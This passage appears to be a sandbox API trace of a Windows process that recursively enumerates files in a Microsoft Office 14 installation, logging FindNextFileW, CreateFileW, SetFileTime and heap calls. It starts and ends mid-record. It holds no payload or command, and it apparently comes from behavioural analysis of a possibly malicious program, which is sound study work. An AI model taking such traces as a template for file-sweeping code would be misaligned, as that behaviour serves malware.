ftLastWriteTime.dwLowDateTime=0x2b069000, ftLastWriteTime.dwHighDateTime=0x1c99227, nFileSizeHigh=0x0, nFileSizeLow=0xaa26, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0069.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.668] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.668] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106ef38 [0069.669] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066568 [0069.669] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.669] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b069000, ftCreationTime.dwHighDateTime=0x1c99227, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b069000, ftLastWriteTime.dwHighDateTime=0x1c99227, nFileSizeHigh=0x0, nFileSizeLow=0xaa26, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 0 [0069.669] GetLastError () returned 0x12 [0069.669] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0069.669] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.669] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.669] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b069000, ftCreationTime.dwHighDateTime=0x1c99227, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b069000, ftLastWriteTime.dwHighDateTime=0x1c99227, nFileSizeHigh=0x0, nFileSizeLow=0xaa26, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0069.669] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b069000, ftCreationTime.dwHighDateTime=0x1c99227, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b069000, ftLastWriteTime.dwHighDateTime=0x1c99227, nFileSizeHigh=0x0, nFileSizeLow=0xaa26, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 0 [0069.669] GetLastError () returned 0x12 [0069.669] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.669] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.669] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.669] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.669] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0069.669] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.669] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082" (normalized: "c:\\program files\\microsoft office\\office14\\3082"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082" (normalized: "c:\\program files\\microsoft office\\office14\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.670] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.670] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1758048 [0069.671] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1758048, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1758048, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.671] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1758048) returned 1 [0069.671] NtClose (Handle=0xec) returned 0x0 [0069.671] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.671] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.671] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.671] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.671] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0069.671] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.671] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6ae900, ftCreationTime.dwHighDateTime=0x1c9922b, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d6ae900, ftLastWriteTime.dwHighDateTime=0x1c9922b, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0069.671] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.671] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.671] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.671] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.671] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.672] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106ef58 [0069.672] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10665f0 [0069.672] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.672] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6ae900, ftCreationTime.dwHighDateTime=0x1c9922b, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d6ae900, ftLastWriteTime.dwHighDateTime=0x1c9922b, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 0 [0069.672] GetLastError () returned 0x12 [0069.672] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0069.672] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.672] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.672] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6ae900, ftCreationTime.dwHighDateTime=0x1c9922b, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d6ae900, ftLastWriteTime.dwHighDateTime=0x1c9922b, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0069.672] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6ae900, ftCreationTime.dwHighDateTime=0x1c9922b, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d6ae900, ftLastWriteTime.dwHighDateTime=0x1c9922b, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 0 [0069.672] GetLastError () returned 0x12 [0069.672] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.672] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.672] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.672] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.672] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x50ff7a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x1313b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDS.DLL", cAlternateFileName="")) returned 1 [0069.672] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x5e8e0f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x8d7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSF.DLL", cAlternateFileName="")) returned 1 [0069.672] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x5e8e0f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x86db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSLM.DLL", cAlternateFileName="")) returned 1 [0069.672] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="")) returned 1 [0069.672] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.673] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.675] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.675] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1758048 [0069.675] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1758048, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1758048, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.676] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1758048) returned 1 [0069.676] NtClose (Handle=0x198) returned 0x0 [0069.676] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.676] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.676] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.676] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.676] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0069.676] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.676] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a45600, ftCreationTime.dwHighDateTime=0x1c90da0, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0a45600, ftLastWriteTime.dwHighDateTime=0x1c90da0, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLNTWRAP.HTM", cAlternateFileName="")) returned 1 [0069.676] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.676] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.676] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.676] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.676] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.677] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1054928 [0069.677] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.677] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106ef78 [0069.677] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1076ef8 [0069.677] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.677] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e52d000, ftCreationTime.dwHighDateTime=0x1ca1017, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9e52d000, ftLastWriteTime.dwHighDateTime=0x1ca1017, nFileSizeHigh=0x0, nFileSizeLow=0x104cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RPT2HTM4.XSL", cAlternateFileName="")) returned 1 [0069.677] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.677] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.677] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.677] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.677] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.677] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106ef98 [0069.677] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1077000 [0069.677] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.677] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa39d00, ftCreationTime.dwHighDateTime=0x1c89eb3, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfa39d00, ftLastWriteTime.dwHighDateTime=0x1c89eb3, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERVWRAP.ASP", cAlternateFileName="")) returned 1 [0069.677] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.677] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.677] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.678] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.678] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.678] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106efb8 [0069.678] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1077108 [0069.678] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x3f80) returned 0x1758048 [0069.678] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107ba48) returned 1 [0069.678] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.678] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa39d00, ftCreationTime.dwHighDateTime=0x1c89eb3, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfa39d00, ftLastWriteTime.dwHighDateTime=0x1c89eb3, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERVWRAP.ASP", cAlternateFileName="")) returned 0 [0069.678] GetLastError () returned 0x12 [0069.678] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0069.678] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.678] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.678] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a45600, ftCreationTime.dwHighDateTime=0x1c90da0, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0a45600, ftLastWriteTime.dwHighDateTime=0x1c90da0, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLNTWRAP.HTM", cAlternateFileName="")) returned 1 [0069.678] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e52d000, ftCreationTime.dwHighDateTime=0x1ca1017, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9e52d000, ftLastWriteTime.dwHighDateTime=0x1ca1017, nFileSizeHigh=0x0, nFileSizeLow=0x104cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RPT2HTM4.XSL", cAlternateFileName="")) returned 1 [0069.678] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa39d00, ftCreationTime.dwHighDateTime=0x1c89eb3, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfa39d00, ftLastWriteTime.dwHighDateTime=0x1c89eb3, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERVWRAP.ASP", cAlternateFileName="")) returned 1 [0069.678] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa39d00, ftCreationTime.dwHighDateTime=0x1c89eb3, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfa39d00, ftLastWriteTime.dwHighDateTime=0x1c89eb3, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERVWRAP.ASP", cAlternateFileName="")) returned 0 [0069.678] GetLastError () returned 0x12 [0069.678] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.679] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.679] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1054928) returned 1 [0069.679] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.679] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x161d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0069.679] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x510dc2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, 